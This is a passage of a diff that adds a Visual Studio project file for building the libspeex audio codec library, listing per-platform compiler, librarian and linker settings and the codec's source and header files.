+				Name="VCManagedResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCPreLinkEventTool"
+			/>
+			<Tool
+				Name="VCLibrarianTool"
+				OutputFile="$(OutDir)/libspeex.lib"
+			/>
+			<Tool
+				Name="VCALinkTool"
+			/>
+			<Tool
+				Name="VCXDCMakeTool"
+			/>
+			<Tool
+				Name="VCBscMakeTool"
+			/>
+			<Tool
+				Name="VCFxCopTool"
+			/>
+			<Tool
+				Name="VCPostBuildEventTool"
+			/>
+		</Configuration>
+		<Configuration
+			Name="Debug_WM5_PPC_ARM|Windows Mobile 5.0 Pocket PC SDK (ARMV4I)"
+			OutputDirectory="Windows Mobile 5.0 Pocket PC SDK (ARMV4I)\$(ConfigurationName)"
+			IntermediateDirectory="Windows Mobile 5.0 Pocket PC SDK (ARMV4I)\$(ConfigurationName)"
+			ConfigurationType="4"
+			InheritedPropertySheets="$(VCInstallDir)VCProjectDefaults\UpgradeFromVC71.vsprops"
+			CharacterSet="1"
+			>
+			<Tool
+				Name="VCPreBuildEventTool"
+			/>
+			<Tool
+				Name="VCCustomBuildTool"
+			/>
+			<Tool
+				Name="VCXMLDataGeneratorTool"
+			/>
+			<Tool
+				Name="VCWebServiceProxyGeneratorTool"
+			/>
+			<Tool
+				Name="VCMIDLTool"
+				TargetEnvironment="1"
+			/>
+			<Tool
+				Name="VCCLCompilerTool"
+				ExecutionBucket="7"
+				Optimization="0"
+				AdditionalIncludeDirectories="..\..\..\include;..\.."
+				PreprocessorDefinitions="WIN32;_DEBUG;_LIB;HAVE_CONFIG_H;FIXED_POINT;_WIN32_WCE=$(CEVER);UNDER_CE;$(PLATFORMDEFINES);WINCE;$(ARCHFAM);$(_ARCHFAM_)"
+				MinimalRebuild="true"
+				RuntimeLibrary="3"
+				UsePrecompiledHeader="0"
+				WarningLevel="4"
+				DebugInformationFormat="0"
+				CompileAs="1"
+			/>
+			<Tool
+				Name="VCManagedResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCPreLinkEventTool"
+			/>
+			<Tool
+				Name="VCLibrarianTool"
+				OutputFile="$(OutDir)/libspeex.lib"
+			/>
+			<Tool
+				Name="VCALinkTool"
+			/>
+			<Tool
+				Name="VCXDCMakeTool"
+			/>
+			<Tool
+				Name="VCBscMakeTool"
+			/>
+			<Tool
+				Name="VCFxCopTool"
+			/>
+			<Tool
+				Name="VCCodeSignTool"
+			/>
+			<Tool
+				Name="VCPostBuildEventTool"
+			/>
+			<DeploymentTool
+				ForceDirty="-1"
+				RemoteDirectory=""
+				RegisterOutput="0"
+				AdditionalFiles=""
+			/>
+			<DebuggerTool
+			/>
+		</Configuration>
+		<Configuration
+			Name="Release_WM5_PPC_ARM|Win32"
+			OutputDirectory="$(ConfigurationName)"
+			IntermediateDirectory="$(ConfigurationName)"
+			ConfigurationType="4"
+			InheritedPropertySheets="$(VCInstallDir)VCProjectDefaults\UpgradeFromVC71.vsprops"
+			CharacterSet="2"
+			WholeProgramOptimization="1"
+			>
+			<Tool
+				Name="VCPreBuildEventTool"
+			/>
+			<Tool
+				Name="VCCustomBuildTool"
+			/>
+			<Tool
+				Name="VCXMLDataGeneratorTool"
+			/>
+			<Tool
+				Name="VCWebServiceProxyGeneratorTool"
+			/>
+			<Tool
+				Name="VCMIDLTool"
+			/>
+			<Tool
+				Name="VCCLCompilerTool"
+				Optimization="3"
+				InlineFunctionExpansion="2"
+				EnableIntrinsicFunctions="true"
+				FavorSizeOrSpeed="1"
+				AdditionalIncludeDirectories="..\..\..\include;..\.."
+				PreprocessorDefinitions="WIN32;NDEBUG;_LIB;HAVE_CONFIG_H"
+				StringPooling="true"
+				ExceptionHandling="0"
+				RuntimeLibrary="2"
+				BufferSecurityCheck="false"
+				UsePrecompiledHeader="0"
+				WarningLevel="4"
+				DebugInformationFormat="3"
+				CompileAs="1"
+				DisableSpecificWarnings="4244;4305;4311;4100;4127"
+			/>
+			<Tool
+				Name="VCManagedResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCPreLinkEventTool"
+			/>
+			<Tool
+				Name="VCLibrarianTool"
+				OutputFile="$(OutDir)/libspeex.lib"
+			/>
+			<Tool
+				Name="VCALinkTool"
+			/>
+			<Tool
+				Name="VCXDCMakeTool"
+			/>
+			<Tool
+				Name="VCBscMakeTool"
+			/>
+			<Tool
+				Name="VCFxCopTool"
+			/>
+			<Tool
+				Name="VCPostBuildEventTool"
+			/>
+		</Configuration>
+		<Configuration
+			Name="Release_WM5_PPC_ARM|Windows Mobile 5.0 Pocket PC SDK (ARMV4I)"
+			OutputDirectory="Windows Mobile 5.0 Pocket PC SDK (ARMV4I)\$(ConfigurationName)"
+			IntermediateDirectory="Windows Mobile 5.0 Pocket PC SDK (ARMV4I)\$(ConfigurationName)"
+			ConfigurationType="4"
+			InheritedPropertySheets="$(VCInstallDir)VCProjectDefaults\UpgradeFromVC71.vsprops"
+			CharacterSet="1"
+			WholeProgramOptimization="1"
+			>
+			<Tool
+				Name="VCPreBuildEventTool"
+			/>
+			<Tool
+				Name="VCCustomBuildTool"
+			/>
+			<Tool
+				Name="VCXMLDataGeneratorTool"
+			/>
+			<Tool
+				Name="VCWebServiceProxyGeneratorTool"
+			/>
+			<Tool
+				Name="VCMIDLTool"
+				TargetEnvironment="1"
+			/>
+			<Tool
+				Name="VCCLCompilerTool"
+				ExecutionBucket="7"
+				Optimization="3"
+				InlineFunctionExpansion="2"
+				EnableIntrinsicFunctions="true"
+				FavorSizeOrSpeed="1"
+				AdditionalIncludeDirectories="..\..\..\include;..\.."
+				PreprocessorDefinitions="WIN32;NDEBUG;_LIB;HAVE_CONFIG_H;FIXED_POINT;_WIN32_WCE=$(CEVER);UNDER_CE;$(PLATFORMDEFINES);WINCE;$(ARCHFAM);$(_ARCHFAM_)"
+				StringPooling="true"
+				ExceptionHandling="0"
+				RuntimeLibrary="2"
+				BufferSecurityCheck="false"
+				UsePrecompiledHeader="0"
+				WarningLevel="4"
+				DebugInformationFormat="0"
+				CompileAs="1"
+				DisableSpecificWarnings="4244;4305;4311;4100;4127"
+			/>
+			<Tool
+				Name="VCManagedResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCPreLinkEventTool"
+			/>
+			<Tool
+				Name="VCLibrarianTool"
+				OutputFile="$(OutDir)/libspeex.lib"
+			/>
+			<Tool
+				Name="VCALinkTool"
+			/>
+			<Tool
+				Name="VCXDCMakeTool"
+			/>
+			<Tool
+				Name="VCBscMakeTool"
+			/>
+			<Tool
+				Name="VCFxCopTool"
+			/>
+			<Tool
+				Name="VCCodeSignTool"
+			/>
+			<Tool
+				Name="VCPostBuildEventTool"
+			/>
+			<DeploymentTool
+				ForceDirty="-1"
+				RemoteDirectory=""
+				RegisterOutput="0"
+				AdditionalFiles=""
+			/>
+			<DebuggerTool
+			/>
+		</Configuration>
+		<Configuration
+			Name="Debug|x64"
+			OutputDirectory="$(SolutionDir)$(PlatformName)\$(ConfigurationName)"
+			IntermediateDirectory="$(PlatformName)\$(ConfigurationName)"
+			ConfigurationType="4"
+			InheritedPropertySheets="$(VCInstallDir)VCProjectDefaults\UpgradeFromVC71.vsprops"
+			CharacterSet="2"
+			>
+			<Tool
+				Name="VCPreBuildEventTool"
+			/>
+			<Tool
+				Name="VCCustomBuildTool"
+			/>
+			<Tool
+				Name="VCXMLDataGeneratorTool"
+			/>
+			<Tool
+				Name="VCWebServiceProxyGeneratorTool"
+			/>
+			<Tool
+				Name="VCMIDLTool"
+				TargetEnvironment="3"
+			/>
+			<Tool
+				Name="VCCLCompilerTool"
+				Optimization="0"
+				AdditionalIncludeDirectories="..\..\..\include;..\.."
+				PreprocessorDefinitions="WIN32;_DEBUG;_LIB;HAVE_CONFIG_H"
+				MinimalRebuild="true"
+				BasicRuntimeChecks="3"
+				RuntimeLibrary="3"
+				UsePrecompiledHeader="0"
+				WarningLevel="0"
+				DebugInformationFormat="3"
+				CompileAs="1"
+			/>
+			<Tool
+				Name="VCManagedResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCPreLinkEventTool"
+			/>
+			<Tool
+				Name="VCLibrarianTool"
+				OutputFile="$(OutDir)/libspeex.lib"
+			/>
+			<Tool
+				Name="VCALinkTool"
+			/>
+			<Tool
+				Name="VCXDCMakeTool"
+			/>
+			<Tool
+				Name="VCBscMakeTool"
+			/>
+			<Tool
+				Name="VCFxCopTool"
+			/>
+			<Tool
+				Name="VCPostBuildEventTool"
+			/>
+		</Configuration>
+		<Configuration
+			Name="Release|x64"
+			OutputDirectory="$(SolutionDir)$(PlatformName)\$(ConfigurationName)"
+			IntermediateDirectory="$(PlatformName)\$(ConfigurationName)"
+			ConfigurationType="4"
+			InheritedPropertySheets="$(VCInstallDir)VCProjectDefaults\UpgradeFromVC71.vsprops"
+			CharacterSet="2"
+			WholeProgramOptimization="1"
+			>
+			<Tool
+				Name="VCPreBuildEventTool"
+			/>
+			<Tool
+				Name="VCCustomBuildTool"
+			/>
+			<Tool
+				Name="VCXMLDataGeneratorTool"
+			/>
+			<Tool
+				Name="VCWebServiceProxyGeneratorTool"
+			/>
+			<Tool
+				Name="VCMIDLTool"
+				TargetEnvironment="3"
+			/>
+			<Tool
+				Name="VCCLCompilerTool"
+				Optimization="3"
+				InlineFunctionExpansion="2"
+				EnableIntrinsicFunctions="true"
+				FavorSizeOrSpeed="1"
+				AdditionalIncludeDirectories="..\..\..\include;..\.."
+				PreprocessorDefinitions="WIN32;NDEBUG;_LIB;HAVE_CONFIG_H"
+				StringPooling="true"
+				ExceptionHandling="0"
+				RuntimeLibrary="2"
+				BufferSecurityCheck="false"
+				UsePrecompiledHeader="0"
+				WarningLevel="0"
+				DebugInformationFormat="3"
+				CompileAs="1"
+				DisableSpecificWarnings="4244;4305;4311;4100;4127"
+			/>
+			<Tool
+				Name="VCManagedResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCPreLinkEventTool"
+			/>
+			<Tool
+				Name="VCLibrarianTool"
+				OutputFile="$(OutDir)/libspeex.lib"
+			/>
+			<Tool
+				Name="VCALinkTool"
+			/>
+			<Tool
+				Name="VCXDCMakeTool"
+			/>
+			<Tool
+				Name="VCBscMakeTool"
+			/>
+			<Tool
+				Name="VCFxCopTool"
+			/>
+			<Tool
+				Name="VCPostBuildEventTool"
+			/>
+		</Configuration>
+		<Configuration
+			Name="Release_SSE|x64"
+			OutputDirectory="$(PlatformName)\$(ConfigurationName)"
+			IntermediateDirectory="$(PlatformName)\$(ConfigurationName)"
+			ConfigurationType="4"
+			InheritedPropertySheets="$(VCInstallDir)VCProjectDefaults\UpgradeFromVC71.vsprops"
+			CharacterSet="2"
+			WholeProgramOptimization="1"
+			>
+			<Tool
+				Name="VCPreBuildEventTool"
+			/>
+			<Tool
+				Name="VCCustomBuildTool"
+			/>
+			<Tool
+				Name="VCXMLDataGeneratorTool"
+			/>
+			<Tool
+				Name="VCWebServiceProxyGeneratorTool"
+			/>
+			<Tool
+				Name="VCMIDLTool"
+				TargetEnvironment="3"
+			/>
+			<Tool
+				Name="VCCLCompilerTool"
+				Optimization="3"
+				InlineFunctionExpansion="2"
+				EnableIntrinsicFunctions="true"
+				FavorSizeOrSpeed="1"
+				AdditionalIncludeDirectories="..\..\..\include;..\.."
+				PreprocessorDefinitions="WIN32;NDEBUG;_LIB;HAVE_CONFIG_H"
+				StringPooling="true"
+				ExceptionHandling="0"
+				RuntimeLibrary="0"
+				BufferSecurityCheck="false"
+				EnableEnhancedInstructionSet="1"
+				UsePrecompiledHeader="0"
+				WarningLevel="4"
+				DebugInformationFormat="3"
+				CompileAs="1"
+				DisableSpecificWarnings="4244;4305;4311;4100;4127"
+			/>
+			<Tool
+				Name="VCManagedResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCPreLinkEventTool"
+			/>
+			<Tool
+				Name="VCLibrarianTool"
+				OutputFile="$(OutDir)/libspeex.lib"
+			/>
+			<Tool
+				Name="VCALinkTool"
+			/>
+			<Tool
+				Name="VCXDCMakeTool"
+			/>
+			<Tool
+				Name="VCBscMakeTool"
+			/>
+			<Tool
+				Name="VCFxCopTool"
+			/>
+			<Tool
+				Name="VCPostBuildEventTool"
+			/>
+		</Configuration>
+		<Configuration
+			Name="Release_SSE2|x64"
+			OutputDirectory="$(PlatformName)\$(ConfigurationName)"
+			IntermediateDirectory="$(PlatformName)\$(ConfigurationName)"
+			ConfigurationType="4"
+			InheritedPropertySheets="$(VCInstallDir)VCProjectDefaults\UpgradeFromVC71.vsprops"
+			CharacterSet="2"
+			WholeProgramOptimization="1"
+			>
+			<Tool
+				Name="VCPreBuildEventTool"
+			/>
+			<Tool
+				Name="VCCustomBuildTool"
+			/>
+			<Tool
+				Name="VCXMLDataGeneratorTool"
+			/>
+			<Tool
+				Name="VCWebServiceProxyGeneratorTool"
+			/>
+			<Tool
+				Name="VCMIDLTool"
+				TargetEnvironment="3"
+			/>
+			<Tool
+				Name="VCCLCompilerTool"
+				Optimization="3"
+				InlineFunctionExpansion="2"
+				EnableIntrinsicFunctions="true"
+				FavorSizeOrSpeed="1"
+				AdditionalIncludeDirectories="..\..\..\include;..\.."
+				PreprocessorDefinitions="WIN32;NDEBUG;_LIB;HAVE_CONFIG_H"
+				StringPooling="true"
+				ExceptionHandling="0"
+				RuntimeLibrary="0"
+				BufferSecurityCheck="false"
+				EnableEnhancedInstructionSet="2"
+				UsePrecompiledHeader="0"
+				WarningLevel="4"
+				DebugInformationFormat="3"
+				CompileAs="1"
+				DisableSpecificWarnings="4244;4305;4311;4100;4127"
+			/>
+			<Tool
+				Name="VCManagedResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCPreLinkEventTool"
+			/>
+			<Tool
+				Name="VCLibrarianTool"
+				OutputFile="$(OutDir)/libspeex.lib"
+			/>
+			<Tool
+				Name="VCALinkTool"
+			/>
+			<Tool
+				Name="VCXDCMakeTool"
+			/>
+			<Tool
+				Name="VCBscMakeTool"
+			/>
+			<Tool
+				Name="VCFxCopTool"
+			/>
+			<Tool
+				Name="VCPostBuildEventTool"
+			/>
+		</Configuration>
+		<Configuration
+			Name="Release_Dynamic|x64"
+			OutputDirectory="$(PlatformName)\$(ConfigurationName)"
+			IntermediateDirectory="$(PlatformName)\$(ConfigurationName)"
+			ConfigurationType="2"
+			InheritedPropertySheets="$(VCInstallDir)VCProjectDefaults\UpgradeFromVC71.vsprops"
+			CharacterSet="2"
+			WholeProgramOptimization="1"
+			>
+			<Tool
+				Name="VCPreBuildEventTool"
+			/>
+			<Tool
+				Name="VCCustomBuildTool"
+			/>
+			<Tool
+				Name="VCXMLDataGeneratorTool"
+			/>
+			<Tool
+				Name="VCWebServiceProxyGeneratorTool"
+			/>
+			<Tool
+				Name="VCMIDLTool"
+				TargetEnvironment="3"
+			/>
+			<Tool
+				Name="VCCLCompilerTool"
+				Optimization="3"
+				InlineFunctionExpansion="2"
+				EnableIntrinsicFunctions="true"
+				FavorSizeOrSpeed="1"
+				AdditionalIncludeDirectories="..\..\..\include;..\.."
+				PreprocessorDefinitions="WIN32;NDEBUG;_LIB;HAVE_CONFIG_H"
+				StringPooling="true"
+				ExceptionHandling="0"
+				RuntimeLibrary="0"
+				BufferSecurityCheck="false"
+				UsePrecompiledHeader="0"
+				WarningLevel="4"
+				DebugInformationFormat="3"
+				CompileAs="1"
+				DisableSpecificWarnings="4244;4305;4311;4100;4127"
+			/>
+			<Tool
+				Name="VCManagedResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCPreLinkEventTool"
+			/>
+			<Tool
+				Name="VCLinkerTool"
+				ModuleDefinitionFile="libspeex.def"
+				OptimizeReferences="2"
+				EnableCOMDATFolding="2"
+				OptimizeForWindows98="1"
+				RandomizedBaseAddress="1"
+				DataExecutionPrevention="0"
+				TargetMachine="17"
+			/>
+			<Tool
+				Name="VCALinkTool"
+			/>
+			<Tool
+				Name="VCManifestTool"
+			/>
+			<Tool
+				Name="VCXDCMakeTool"
+			/>
+			<Tool
+				Name="VCBscMakeTool"
+			/>
+			<Tool
+				Name="VCFxCopTool"
+			/>
+			<Tool
+				Name="VCAppVerifierTool"
+			/>
+			<Tool
+				Name="VCPostBuildEventTool"
+			/>
+		</Configuration>
+		<Configuration
+			Name="Debug_RTL_dll|x64"
+			OutputDirectory="$(PlatformName)\$(ConfigurationName)"
+			IntermediateDirectory="$(PlatformName)\$(ConfigurationName)"
+			ConfigurationType="4"
+			InheritedPropertySheets="$(VCInstallDir)VCProjectDefaults\UpgradeFromVC71.vsprops"
+			CharacterSet="2"
+			>
+			<Tool
+				Name="VCPreBuildEventTool"
+			/>
+			<Tool
+				Name="VCCustomBuildTool"
+			/>
+			<Tool
+				Name="VCXMLDataGeneratorTool"
+			/>
+			<Tool
+				Name="VCWebServiceProxyGeneratorTool"
+			/>
+			<Tool
+				Name="VCMIDLTool"
+				TargetEnvironment="3"
+			/>
+			<Tool
+				Name="VCCLCompilerTool"
+				Optimization="0"
+				AdditionalIncludeDirectories="..\..\..\include;..\.."
+				PreprocessorDefinitions="WIN32;_DEBUG;_LIB;HAVE_CONFIG_H"
+				MinimalRebuild="true"
+				BasicRuntimeChecks="3"
+				RuntimeLibrary="3"
+				UsePrecompiledHeader="0"
+				WarningLevel="4"
+				DebugInformationFormat="3"
+				CompileAs="1"
+			/>
+			<Tool
+				Name="VCManagedResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCPreLinkEventTool"
+			/>
+			<Tool
+				Name="VCLibrarianTool"
+				OutputFile="$(OutDir)/libspeex.lib"
+			/>
+			<Tool
+				Name="VCALinkTool"
+			/>
+			<Tool
+				Name="VCXDCMakeTool"
+			/>
+			<Tool
+				Name="VCBscMakeTool"
+			/>
+			<Tool
+				Name="VCFxCopTool"
+			/>
+			<Tool
+				Name="VCPostBuildEventTool"
+			/>
+		</Configuration>
+		<Configuration
+			Name="Release_RTL_dll|x64"
+			OutputDirectory="$(PlatformName)\$(ConfigurationName)"
+			IntermediateDirectory="$(PlatformName)\$(ConfigurationName)"
+			ConfigurationType="4"
+			InheritedPropertySheets="$(VCInstallDir)VCProjectDefaults\UpgradeFromVC71.vsprops"
+			CharacterSet="2"
+			WholeProgramOptimization="1"
+			>
+			<Tool
+				Name="VCPreBuildEventTool"
+			/>
+			<Tool
+				Name="VCCustomBuildTool"
+			/>
+			<Tool
+				Name="VCXMLDataGeneratorTool"
+			/>
+			<Tool
+				Name="VCWebServiceProxyGeneratorTool"
+			/>
+			<Tool
+				Name="VCMIDLTool"
+				TargetEnvironment="3"
+			/>
+			<Tool
+				Name="VCCLCompilerTool"
+				Optimization="3"
+				InlineFunctionExpansion="2"
+				EnableIntrinsicFunctions="true"
+				FavorSizeOrSpeed="1"
+				AdditionalIncludeDirectories="..\..\..\include;..\.."
+				PreprocessorDefinitions="WIN32;NDEBUG;_LIB;HAVE_CONFIG_H"
+				StringPooling="true"
+				ExceptionHandling="0"
+				RuntimeLibrary="2"
+				BufferSecurityCheck="false"
+				UsePrecompiledHeader="0"
+				WarningLevel="4"
+				DebugInformationFormat="3"
+				CompileAs="1"
+				DisableSpecificWarnings="4244;4305;4311;4100;4127"
+			/>
+			<Tool
+				Name="VCManagedResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCPreLinkEventTool"
+			/>
+			<Tool
+				Name="VCLibrarianTool"
+				OutputFile="$(OutDir)/libspeex.lib"
+			/>
+			<Tool
+				Name="VCALinkTool"
+			/>
+			<Tool
+				Name="VCXDCMakeTool"
+			/>
+			<Tool
+				Name="VCBscMakeTool"
+			/>
+			<Tool
+				Name="VCFxCopTool"
+			/>
+			<Tool
+				Name="VCPostBuildEventTool"
+			/>
+		</Configuration>
+		<Configuration
+			Name="Debug_WM5_PPC_ARM|x64"
+			OutputDirectory="$(PlatformName)\$(ConfigurationName)"
+			IntermediateDirectory="$(PlatformName)\$(ConfigurationName)"
+			ConfigurationType="4"
+			InheritedPropertySheets="$(VCInstallDir)VCProjectDefaults\UpgradeFromVC71.vsprops"
+			CharacterSet="2"
+			>
+			<Tool
+				Name="VCPreBuildEventTool"
+			/>
+			<Tool
+				Name="VCCustomBuildTool"
+			/>
+			<Tool
+				Name="VCXMLDataGeneratorTool"
+			/>
+			<Tool
+				Name="VCWebServiceProxyGeneratorTool"
+			/>
+			<Tool
+				Name="VCMIDLTool"
+				TargetEnvironment="3"
+			/>
+			<Tool
+				Name="VCCLCompilerTool"
+				Optimization="0"
+				AdditionalIncludeDirectories="..\..\..\include;..\.."
+				PreprocessorDefinitions="WIN32;_DEBUG;_LIB;HAVE_CONFIG_H"
+				MinimalRebuild="true"
+				BasicRuntimeChecks="3"
+				RuntimeLibrary="3"
+				UsePrecompiledHeader="0"
+				WarningLevel="4"
+				DebugInformationFormat="3"
+				CompileAs="1"
+			/>
+			<Tool
+				Name="VCManagedResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCPreLinkEventTool"
+			/>
+			<Tool
+				Name="VCLibrarianTool"
+				OutputFile="$(OutDir)/libspeex.lib"
+			/>
+			<Tool
+				Name="VCALinkTool"
+			/>
+			<Tool
+				Name="VCXDCMakeTool"
+			/>
+			<Tool
+				Name="VCBscMakeTool"
+			/>
+			<Tool
+				Name="VCFxCopTool"
+			/>
+			<Tool
+				Name="VCPostBuildEventTool"
+			/>
+		</Configuration>
+		<Configuration
+			Name="Release_WM5_PPC_ARM|x64"
+			OutputDirectory="$(PlatformName)\$(ConfigurationName)"
+			IntermediateDirectory="$(PlatformName)\$(ConfigurationName)"
+			ConfigurationType="4"
+			InheritedPropertySheets="$(VCInstallDir)VCProjectDefaults\UpgradeFromVC71.vsprops"
+			CharacterSet="2"
+			WholeProgramOptimization="1"
+			>
+			<Tool
+				Name="VCPreBuildEventTool"
+			/>
+			<Tool
+				Name="VCCustomBuildTool"
+			/>
+			<Tool
+				Name="VCXMLDataGeneratorTool"
+			/>
+			<Tool
+				Name="VCWebServiceProxyGeneratorTool"
+			/>
+			<Tool
+				Name="VCMIDLTool"
+				TargetEnvironment="3"
+			/>
+			<Tool
+				Name="VCCLCompilerTool"
+				Optimization="3"
+				InlineFunctionExpansion="2"
+				EnableIntrinsicFunctions="true"
+				FavorSizeOrSpeed="1"
+				AdditionalIncludeDirectories="..\..\..\include;..\.."
+				PreprocessorDefinitions="WIN32;NDEBUG;_LIB;HAVE_CONFIG_H"
+				StringPooling="true"
+				ExceptionHandling="0"
+				RuntimeLibrary="2"
+				BufferSecurityCheck="false"
+				UsePrecompiledHeader="0"
+				WarningLevel="4"
+				DebugInformationFormat="3"
+				CompileAs="1"
+				DisableSpecificWarnings="4244;4305;4311;4100;4127"
+			/>
+			<Tool
+				Name="VCManagedResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCPreLinkEventTool"
+			/>
+			<Tool
+				Name="VCLibrarianTool"
+				OutputFile="$(OutDir)/libspeex.lib"
+			/>
+			<Tool
+				Name="VCALinkTool"
+			/>
+			<Tool
+				Name="VCXDCMakeTool"
+			/>
+			<Tool
+				Name="VCBscMakeTool"
+			/>
+			<Tool
+				Name="VCFxCopTool"
+			/>
+			<Tool
+				Name="VCPostBuildEventTool"
+			/>
+		</Configuration>
+	</Configurations>
+	<References>
+	</References>
+	<Files>
+		<Filter
+			Name="Source Files"
+			Filter="cpp;c;cxx;def;odl;idl;hpj;bat;asm;asmx"
+			UniqueIdentifier="{4FC737F1-C7A5-4376-A066-2A32D752A2FF}"
+			>
+			<File
+				RelativePath="..\..\..\libspeex\bits.c"
+				>
+			</File>
+			<File
+				RelativePath="..\..\..\libspeex\cb_search.c"
+				>
+			</File>
+			<File
+				RelativePath="..\..\..\libspeex\exc_10_16_table.c"
+				>
+			</File>
+			<File
+				RelativePath="..\..\..\libspeex\exc_10_32_table.c"
+				>
+			</File>
+			<File
+				RelativePath="..\..\..\libspeex\exc_20_32_table.c"
+				>
+			</File>
+			<File
+				RelativePath="..\..\..\libspeex\exc_5_256_table.c"
+				>
+			</File>
+			<File
+				RelativePath="..\..\..\libspeex\exc_5_64_table.c"
+				>
+			</File>
+			<File
+				RelativePath="..\..\..\libspeex\exc_8_128_table.c"
+				>
+			</File>
+			<File
+				RelativePath="..\..\..\libspeex\filters.c"
+				>
+			</File>
+			<File
+				RelativePath="..\..\..\libspeex\gain_table.c"
+				>
+			</File>
+			<File
+				RelativePath="..\..\..\libspeex\gain_table_lbr.c"
+				>
+			</File>
+			<File
+				RelativePath="..\..\..\libspeex\hexc_10_32_table.c"
+				>
+			</File>
+			<File
+				RelativePath="..\..\..\libspeex\hexc_table.c"
+				>
+			</File>
+			<File
+				RelativePath="..\..\..\libspeex\high_lsp_tables.c"
+				>
+			</File>
+			<File
+				RelativePath=".\libspeex.def"
+				>
+			</File>
+			<File
+				RelativePath="..\..\..\libspeex\lpc.c"
+				>
+			</File>
+			<File
+				RelativePath="..\..\..\libspeex\lsp.c"
+				>
+			</File>
+			<File
+				RelativePath="..\..\..\libspeex\lsp_tables_nb.c"
+				>
+			</File>
+			<File
+				RelativePath="..\..\..\libspeex\ltp.c"
+				>
+			</File>
+			<File
+				RelativePath="..\..\..\libspeex\modes.c"
+				>
+			</File>
+			<File
+				RelativePath="..\..\..\libspeex\modes_wb.c"
+				>
+			</File>
+			<File
+				RelativePath="..\..\..\libspeex\nb_celp.c"
+				>
+			</File>
+			<File
+				RelativePath="..\..\..\libspeex\quant_lsp.c"
+				>
+			</File>
+			<File
+				RelativePath="..\..\..\libspeex\sb_celp.c"
+				>
+			</File>
+			<File
+				RelativePath="..\..\..\libspeex\speex.c"
+				>
+			</File>
+			<File
+				RelativePath="..\..\..\libspeex\speex_callbacks.c"
+				>
+			</File>
+			<File
+				RelativePath="..\..\..\libspeex\speex_header.c"
+				>
+			</File>
+			<File
+				RelativePath="..\..\..\libspeex\stereo.c"
+				>
+			</File>
+			<File
+				RelativePath="..\..\..\libspeex\vbr.c"
+				>
+			</File>
+			<File
+				RelativePath="..\..\..\libspeex\vq.c"
+				>
+			</File>
+			<File
+				RelativePath="..\..\..\libspeex\window.c"
+				>
+			</File>
+		</Filter>
+		<Filter
+			Name="Header Files"
+			Filter="h;hpp;hxx;hm;inl;inc;xsd"
+			UniqueIdentifier="{93995380-89BD-4b04-88EB-625FBE52EBFB}"
+			>
+			<File
+				RelativePath="..\..\..\libspeex\cb_search.h"
+				>
+			</File>
+			<File
+				RelativePath="..\..\config.h"
+				>
+			</File>
+			<File
+				RelativePath="..\..\..\libspeex\fftwrap.h"
+				>
+			</File>
+			<File
+				RelativePath="..\..\..\libspeex\filters.h"
+				>
+			</File>
+			<File
+				RelativePath="..\..\..\libspeex\filters_sse.h"
+				>
+			</File>
+			<File
+				RelativePath="..\..\..\libspeex\kiss_fft.h"
+				>
+			</File>
+			<File
+				RelativePath="..\..\..\libspeex\kiss_fftr.h"
+				>
+			</File>
+			<File
+				RelativePath="..\..\..\libspeex\lpc.h"
+				>
+			</File>
+			<File
+				RelativePath="..\..\..\libspeex\lsp.h"
+				>
+			</File>
+			<File
+				RelativePath="..\..\..\libspeex\ltp.h"
+				>
+			</File>
+			<File
+				RelativePath="..\..\..\libspeex\ltp_sse.h"
+				>
+			</File>
+			<File
+				RelativePath="..\..\..\libspeex\math_approx.h"
+				>
+			</File>
+			<File
+				RelativePath="..\..\..\libspeex\misc.h"
+				>
+			</File>
+			<File
+				RelativePath="..\..\..\libspeex\modes.h"
+				>
+			</File>
+			<File
+				RelativePath="..\..\..\libspeex\nb_celp.h"
+				>
+			</File>
+			<File
+				RelativePath="..\..\..\libspeex\pseudofloat.h"
+				>
+			</File>
+			<File
+				RelativePath="..\..\..\libspeex\quant_lsp.h"
+				>
+			</File>
+			<File
+				RelativePath="..\..\..\libspeex\sb_celp.h"
+				>
+			</File>
+			<File
+				RelativePath="..\..\..\include\speex\speex.h"
+				>
+			</File>
+			<File
+				RelativePath="..\..\..\include\speex\speex_bits.h"
+				>
+			</File>
+			<File
+				RelativePath="..\..\..\include\speex\speex_callbacks.h"
+				>
+			</File>
+			<File
+				RelativePath="..\..\..\include\speex\speex_echo.h"
+				>
+			</File>
+			<File
+				RelativePath="..\..\..\include\speex\speex_header.h"
+				>
+			</File>
+			<File
+				RelativePath="..\..\..\include\speex\speex_jitter.h"
+				>
+			</File>
+			<File
+				RelativePath="..\..\..\include\speex\speex_noglobals.h"
+				>
+			</File>
+			<File
+				RelativePath="..\..\..\include\speex\speex_preprocess.h"
+				>
+			</File>
+			<File
+				RelativePath="..\..\..\include\speex\speex_stereo.h"
+				>
+			</File>
+			<File
+				RelativePath="..\..\..\include\speex\speex_types.h"
+				>
+			</File>
+			<File
+				RelativePath="..\..\..\libspeex\stack_alloc.h"
+				>
+			</File>
+			<File
+				RelativePath="..\..\..\libspeex\vbr.h"
+				>
+			</File>
+			<File
+				RelativePath="..\..\..\libspeex\vq.h"
+				>
+			</File>
+		</Filter>
+		<Filter
+			Name="Resource Files"
